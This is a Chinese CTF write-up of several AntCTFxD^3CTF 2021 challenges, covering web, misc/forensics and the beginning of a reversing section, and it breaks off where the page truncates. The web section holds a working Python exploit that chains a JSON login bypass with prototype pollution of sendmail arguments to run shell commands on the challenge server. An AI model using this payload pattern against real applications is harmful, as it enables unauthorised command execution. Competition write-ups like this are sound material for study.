专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
北京市商务局  ·  北京市属公园元宵传统游园活动预报来了,附赏“ ... ·  17 小时前  
北京市商务局  ·  北京市属公园元宵传统游园活动预报来了,附赏“ ... ·  17 小时前  
物道  ·  五粮液,这次的瓜太大了! ·  昨天  
无时尚中文网  ·  加拿大鹅三季度稳健发展 新年表现积极 ... ·  3 天前  
内蒙古自治区文化和旅游厅  ·  过大年 闹元宵 | ... ·  2 天前  
内蒙古自治区文化和旅游厅  ·  过大年 闹元宵 | ... ·  2 天前  
消费日报官方平台  ·  “食”“游”同欢 消费者爱上首个非遗春节 ·  2 天前  
51好读  ›  专栏  ›  TimelineSec

AntCTFxD^3CTF2021 部分WriteUp

TimelineSec  · 公众号  ·  · 2021-03-11 09:00

正文



AntCTFxD^3CTF

Web

8-bit pub

一般代码审计


登陆绕过,组一下就可以{"username":"admin","password":{"password":true}}


登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了


exp:


     
# coding:utf-8import requests
url = 'http://9267351e50.8bit-pub.d3ctf.io/'sess = requests.session()headers = { 'Content-Type': 'application/json'}class flag: def login_admin(): data = '{"username":"admin","password":{"password":true}}' res = sess.post(url + 'user/signin', data=data, headers=headers) print(res.text)
def readflag(): data = '{"to":"[email protected]","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":["-c","/readflag>/tmp/flag"]}' res = sess.post(url+'admin/email',data=data,headers=headers) print(res.text)
if __name__ == '__main__': flag.login_admin() flag.readflag()




Misc


★shellgen2


除了php标签外,只能使用0-9$_;+[].=>中的字符,需要输出任意指定的小写字符串。考虑使用=输出字符串,为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符。为了生成a-z,使用两个[]字符串拼接得到ArrayArray,然后取其中的a;再使用自加得到a-z。

最后的python脚本为:
input_a=input()beg='''par='_09'let_dic={}for i in range(3):    for j in range(3):        for p in range(3):            let_dic[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]keys=list(let_dic.keys())
let_dic[keys[i]]+'=$_;'for i in range(25): beg+='$_++;'+let_dic[keys[i+1]]+'=$_;'
beg+='?>='+let_dic[input_a[0]]
for let in input_a[1:]: beg+='.'+let_dic[let]
beg+=';'print(beg,end="")

★Virtual Love

麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘


参考文章 :

【解密 】Vmware虚拟磁盘文件-电子物证-二十次幂 (ershicimi.com)

https://www.ershicimi.com/p/a85955bf672a9dc6e412ad70648870fd


首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统


首先把他的centos7导入vm,然后查看他所生成的文件,


将centos7所生成的vmx以及vmsd直接替换至题目的文件


之后使用010进行修改s001-s006.vmdk的文件头



对照着修改,很容易发现规律。


最后修改vmx的内容,也一样对照着修改



随后便可以开机,给了内容说是guest,可以直接登录


取证一般套路就是直接history



看得出来需要去获取root权限


这里直接进编译模式了,网上一堆文章,丢个链接在这


centos7重置密码连接


CentOS7忘记root密码,重置root密码蝈蝈的博客-CSDN博客centos7重置root密码

https://blog.csdn.net/gnail_oug/article/details/94721777


重置后就可以看见文件了



04开头是解压密码,7@是目标文件,剩下就没啥了


计算md5:md5sum


★Robust

打开pcapng,首选项导入log,解密出http3数据流



右键追踪流QUIC流



发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据



然后多个人开始手动复制粘贴成文件,根据HEADERS区分文件  (学弟学妹y(老)y(工)d(具)s(人))



接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。



ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4

根据给出的hint链接找到如下工具:
https://github.com/quiet/quiet

使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件


lyric是网易云的网页接口:访问
http://music.163.com/api/song/lyric/?id=1818031620&lv=1&kv=1&tv=-1

得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破



解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心导论

在线网页:
Unicode Steganography with Zero-Width Characters (330k.github.io)
http://330k.github.io/misc_tools/unicode_steganography.html

如下设置


解密后


相关文章:
https://support.f5.com/csp/article/K05822509
https://www.cellstream.com/reference-reading/tipsandtricks/382-using-wireshark-to-analyze-quic-traffic
https://blog.csdn.net/weixin_37035452/article/details/93763122


Reverse


Jumpjump

Ida打开,shift+F12查看字符串:





跟进后来到关键函数,F5大法查看伪代码:




通过分析,有两个关键函数,sub_40189D()和sub_40191E(),第一个函数:






请到「今天看啥」查看全文